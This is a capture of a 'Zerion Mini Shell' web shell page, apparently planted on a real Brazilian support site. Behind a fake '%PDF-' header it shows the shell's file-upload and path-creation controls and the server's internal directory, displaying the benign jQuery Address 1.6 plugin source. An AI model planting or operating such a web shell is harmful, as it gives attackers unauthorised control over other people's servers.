%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/suporte.iigd.com.br/plugins/dashboard/front/js/
Upload File :
Create Path :
Current File : /var/www/projetos/suporte.iigd.com.br/plugins/dashboard/front/js/jquery.address-1.6.min.js

/*
 * jQuery Address Plugin v1.6
 * http://www.asual.com/jquery/address/
 *
 * Copyright (c) 2009-2013 Rostislav Hristov
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Date: 2013-01-22 01:43:31 +0200 (Tue, 22 Jan 2013)
 */
(function(c){c.address=function(){var s=function(a){a=c.extend(c.Event(a),function(){for(var b={},f=c.address.parameterNames(),m=0,p=f.length;m<p;m++)b[f[m]]=c.address.parameter(f[m]);return{value:c.address.value(),path:c.address.path(),pathNames:c.address.pathNames(),parameterNames:f,parameters:b,queryString:c.address.queryString()}}.call(c.address));c(c.address).trigger(a);return a},q=function(a){return Array.prototype.slice.call(a)},g=function(){c().bind.apply(c(c.address),Array.prototype.slice.call(arguments));
return c.address},E=function(){c().unbind.apply(c(c.address),Array.prototype.slice.call(arguments));return c.address},F=function(){return z.pushState&&d.state!==h},V=function(){return("/"+i.pathname.replace(new RegExp(d.state),"")+i.search+(M()?"#"+M():"")).replace(U,"/")},M=function(){var a=i.href.indexOf("#");return a!=-1?t(i.href.substr(a+1),k):""},u=function(){return F()?V():M()},W=function(){return"javascript"},P=function(a){a=a.toString();return(d.strict&&a.substr(0,1)!="/"?"/":"")+a},t=function(a,
b){if(d.crawlable&&b)return(a!==""?"!":"")+a;return a.replace(/^\!/,"")},v=function(a,b){return parseInt(a.css(b),10)},I=function(){if(!x){var a=u();if(decodeURI(e)!=decodeURI(a))if(w&&A<7)i.reload();else{w&&!G&&d.history&&r(N,50);_old=e;e=a;H(k)}}},H=function(a){var b=s(X);a=s(a?Y:Z);r(fa,10);if(b.isDefaultPrevented()||a.isDefaultPrevented())ga()},ga=function(){e=_old;if(F())z.popState({},"",d.state.replace(/\/$/,"")+(e===""?"/":e));else{x=n;if(B)if(d.history)i.hash="#"+t(e,n);else i.replace("#"+
t(e,n));else if(e!=u())if(d.history)i.hash="#"+t(e,n);else i.replace("#"+t(e,n));w&&!G&&d.history&&r(N,50);if(B)r(function(){x=k},1);else x=k}},fa=function(){if(d.tracker!=="null"&&d.tracker!==J){var a=c.isFunction(d.tracker)?d.tracker:j[d.tracker],b=(i.pathname+i.search+(c.address&&!F()?c.address.value():"")).replace(/\/\//,"/").replace(/^\/$/,"");if(c.isFunction(a))a(b);else if(c.isFunction(j.urchinTracker))j.urchinTracker(b);else if(j.pageTracker!==h&&c.isFunction(j.pageTracker._trackPageview))j.pageTracker._trackPageview(b);
else j._gaq!==h&&c.isFunction(j._gaq.push)&&j._gaq.push(["_trackPageview",decodeURI(b)])}},N=function(){var a=W()+":"+k+";document.open();document.writeln('<html><head><title>"+o.title.replace(/\'/g,"\\'")+"</title><script>var "+C+' = "'+encodeURIComponent(u()).replace(/\'/g,"\\'")+(o.domain!=i.hostname?'";document.domain="'+o.domain:"")+"\";<\/script></head></html>');document.close();";if(A<7)l.src=a;else l.contentWindow.location.replace(a)},aa=function(){if(K&&$!=-1){var a,b,f=K.substr($+1).split("&");
for(a=0;a<f.length;a++){b=f[a].split("=");if(/^(autoUpdate|crawlable|history|strict|wrap)$/.test(b[0]))d[b[0]]=isNaN(b[1])?/^(true|yes)$/i.test(b[1]):parseInt(b[1],10)!==0;if(/^(state|tracker)$/.test(b[0]))d[b[0]]=b[1]}K=J}_old=e;e=u()},ca=function(){if(!ba){ba=n;aa();var a=function(){ha.call(this);ia.call(this)},b=c("body");c(document).ajaxComplete(a);a();if(d.wrap){c("body > *").wrapAll('<div style="padding:'+(v(b,"marginTop")+v(b,"paddingTop"))+"px "+(v(b,"marginRight")+v(b,"paddingRight"))+"px "+
(v(b,"marginBottom")+v(b,"paddingBottom"))+"px "+(v(b,"marginLeft")+v(b,"paddingLeft"))+'px;" />').parent().wrap('<div id="'+C+'" style="height:100%;overflow:auto;position:relative;'+(B&&!window.statusbar.visible?"resize:both;":"")+'" />');c("html, body").css({height:"100%",margin:0,padding:0,overflow:"hidden"});B&&c('<style type="text/css" />').appendTo("head").text("#"+C+"::-webkit-resizer { background-color: #fff; }")}if(w&&!G){a=o.getElementsByTagName("frameset")[0];l=o.createElement((a?"":"i")+
"frame");l.src=W()+":"+k;if(a){a.insertAdjacentElement("beforeEnd",l);a[a.cols?"cols":"rows"]+=",0";l.noResize=n;l.frameBorder=l.frameSpacing=0}else{l.style.display="none";l.style.width=l.style.height=0;l.tabIndex=-1;o.body.insertAdjacentElement("afterBegin",l)}r(function(){c(l).bind("load",function(){var f=l.contentWindow;_old=e;e=f[C]!==h?f[C]:"";if(e!=u()){H(k);i.hash=t(e,n)}});l.contentWindow[C]===h&&N()},50)}r(function(){s("init");H(k)},1);if(!F())if(w&&A>7||!w&&G)if(j.addEventListener)j.addEventListener(L,
I,k);else j.attachEvent&&j.attachEvent("on"+L,I);else ja(I,50);"state"in window.history&&c(window).trigger("popstate")}},ha=function(){var a,b=c("a"),f=b.size(),m=-1,p=function(){if(++m!=f){a=c(b.get(m));a.is('[rel*="address:"]')&&a.address('[rel*="address:"]');r(p,1)}};r(p,1)},ia=function(){if(d.crawlable){var a=i.pathname.replace(/\/$/,"");c("body").html().indexOf("_escaped_fragment_")!=-1&&c('a[href]:not([href^=http]), a[href*="'+document.domain+'"]').each(function(){var b=c(this).attr("href").replace(/^http:/,
"").replace(new RegExp(a+"/?$"),"");if(b===""||b.indexOf("_escaped_fragment_")!=-1)c(this).attr("href","#"+encodeURI(decodeURIComponent(b.replace(/\/(.*)\?_escaped_fragment_=(.*)$/,"!$2"))))})}},ka=function(a){a=a.toLowerCase();a=/(chrome)[ \/]([\w.]+)/.exec(a)||/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||a.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},h,J=null,C="jQueryAddress",
L="hashchange",X="change",Y="internalChange",Z="externalChange",n=true,k=false,d={autoUpdate:n,crawlable:k,history:n,strict:n,wrap:k},D=function(){var a={},b=ka(navigator.userAgent);if(b.browser){a[b.browser]=true;a.version=b.version}if(a.chrome)a.webkit=true;else if(a.webkit)a.safari=true;return a}(),A=parseFloat(D.version),B=D.webkit||D.safari,w=!c.support.opacity,j=function(){try{return top.document!==h&&top.document.title!==h?top:window}catch(a){return window}}(),o=j.document,z=j.history,i=j.location,
ja=setInterval,r=setTimeout,U=/\/{2,9}/g;D=navigator.userAgent;var G="on"+L in j,l,K=c("script:last").attr("src"),$=K?K.indexOf("?"):-1,Q=o.title,x=k,ba=k,da=n,O=k,e=u();_old=e;if(w){A=parseFloat(D.substr(D.indexOf("MSIE")+4));if(o.documentMode&&o.documentMode!=A)A=o.documentMode!=8?7:8;var ea=o.onpropertychange;o.onpropertychange=function(){ea&&ea.call(o);if(o.title!=Q&&o.title.indexOf("#"+u())!=-1)o.title=Q}}if(z.navigationMode)z.navigationMode="compatible";if(document.readyState=="complete")var la=
setInterval(function(){if(c.address){ca();clearInterval(la)}},50);else{aa();c(ca)}c(window).bind("popstate",function(){if(decodeURI(e)!=decodeURI(u())){_old=e;e=u();H(k)}}).bind("unload",function(){if(j.removeEventListener)j.removeEventListener(L,I,k);else j.detachEvent&&j.detachEvent("on"+L,I)});return{bind:function(){return g.apply(this,q(arguments))},unbind:function(){return E.apply(this,q(arguments))},init:function(){return g.apply(this,["init"].concat(q(arguments)))},change:function(){return g.apply(this,
[X].concat(q(arguments)))},internalChange:function(){return g.apply(this,[Y].concat(q(arguments)))},externalChange:function(){return g.apply(this,[Z].concat(q(arguments)))},baseURL:function(){var a=i.href;if(a.indexOf("#")!=-1)a=a.substr(0,a.indexOf("#"));if(/\/$/.test(a))a=a.substr(0,a.length-1);return a},autoUpdate:function(a){if(a!==h){d.autoUpdate=a;return this}return d.autoUpdate},crawlable:function(a){if(a!==h){d.crawlable=a;return this}return d.crawlable},history:function(a){if(a!==h){d.history=
a;return this}return d.history},state:function(a){if(a!==h){d.state=a;var b=V();if(d.state!==h)if(z.pushState)b.substr(0,3)=="/#/"&&i.replace(d.state.replace(/^\/$/,"")+b.substr(2));else b!="/"&&b.replace(/^\/#/,"")!=M()&&r(function(){i.replace(d.state.replace(/^\/$/,"")+"/#"+b)},1);return this}return d.state},strict:function(a){if(a!==h){d.strict=a;return this}return d.strict},tracker:function(a){if(a!==h){d.tracker=a;return this}return d.tracker},wrap:function(a){if(a!==h){d.wrap=a;return this}return d.wrap},
update:function(){O=n;this.value(e);O=k;return this},title:function(a){if(a!==h){r(function(){Q=o.title=a;if(da&&l&&l.contentWindow&&l.contentWindow.document){l.contentWindow.document.title=a;da=k}},50);return this}return o.title},value:function(a){if(a!==h){a=P(a);if(a=="/")a="";if(e==a&&!O)return;_old=e;e=a;if(d.autoUpdate||O){H(n);if(F())z[d.history?"pushState":"replaceState"]({},"",d.state.replace(/\/$/,"")+(e===""?"/":e));else{x=n;if(B)if(d.history)i.hash="#"+t(e,n);else i.replace("#"+t(e,n));
else if(e!=u())if(d.history)i.hash="#"+t(e,n);else i.replace("#"+t(e,n));w&&!G&&d.history&&r(N,50);if(B)r(function(){x=k},1);else x=k}}return this}return P(e)},path:function(a){if(a!==h){var b=this.queryString(),f=this.hash();this.value(a+(b?"?"+b:"")+(f?"#"+f:""));return this}return P(e).split("#")[0].split("?")[0]},pathNames:function(){var a=this.path(),b=a.replace(U,"/").split("/");if(a.substr(0,1)=="/"||a.length===0)b.splice(0,1);a.substr(a.length-1,1)=="/"&&b.splice(b.length-1,1);return b},queryString:function(a){if(a!==
h){var b=this.hash();this.value(this.path()+(a?"?"+a:"")+(b?"#"+b:""));return this}a=e.split("?");return a.slice(1,a.length).join("?").split("#")[0]},parameter:function(a,b,f){var m,p;if(b!==h){var R=this.parameterNames();p=[];b=b===h||b===J?"":b.toString();for(m=0;m<R.length;m++){var S=R[m],y=this.parameter(S);if(typeof y=="string")y=[y];if(S==a)y=b===J||b===""?[]:f?y.concat([b]):[b];for(var T=0;T<y.length;T++)p.push(S+"="+y[T])}c.inArray(a,R)==-1&&b!==J&&b!==""&&p.push(a+"="+b);this.queryString(p.join("&"));
return this}if(b=this.queryString()){f=[];p=b.split("&");for(m=0;m<p.length;m++){b=p[m].split("=");b[0]==a&&f.push(b.slice(1).join("="))}if(f.length!==0)return f.length!=1?f:f[0]}},parameterNames:function(){var a=this.queryString(),b=[];if(a&&a.indexOf("=")!=-1){a=a.split("&");for(var f=0;f<a.length;f++){var m=a[f].split("=")[0];c.inArray(m,b)==-1&&b.push(m)}}return b},hash:function(a){if(a!==h){this.value(e.split("#")[0]+(a?"#"+a:""));return this}a=e.split("#");return a.slice(1,a.length).join("#")}}}();
c.fn.address=function(s){var q;if(typeof s=="string"){q=s;s=undefined}c(this).attr("address")||c(document).on("click",q?q:this,function(g){if(g.shiftKey||g.ctrlKey||g.metaKey||g.which==2)return true;if(c(g.target).is("a")){g.preventDefault();g=s?s.call(g.target):/address:/.test(c(g.target).attr("rel"))?c(g.target).attr("rel").split("address:")[1].split(" ")[0]:c.address.state()!==undefined&&!/^\/?$/.test(c.address.state())?c(g.target).attr("href").replace(new RegExp("^(.*"+c.address.state()+"|\\.)"),
""):c(g.target).attr("href").replace(/^(#\!?|\.)/,"");c.address.value(g)}}).live("submit",q?q:this,function(g){if(c(g.target).is("form")){g.preventDefault();var E=c(g.target).attr("action");g=s?s.call(g.target):(E.indexOf("?")!=-1?E.replace(/&$/,""):E+"?")+c(g.target).serialize();c.address.value(g)}}).attr("address",true);return this}})(jQuery);

Zerion Mini Shell 1.0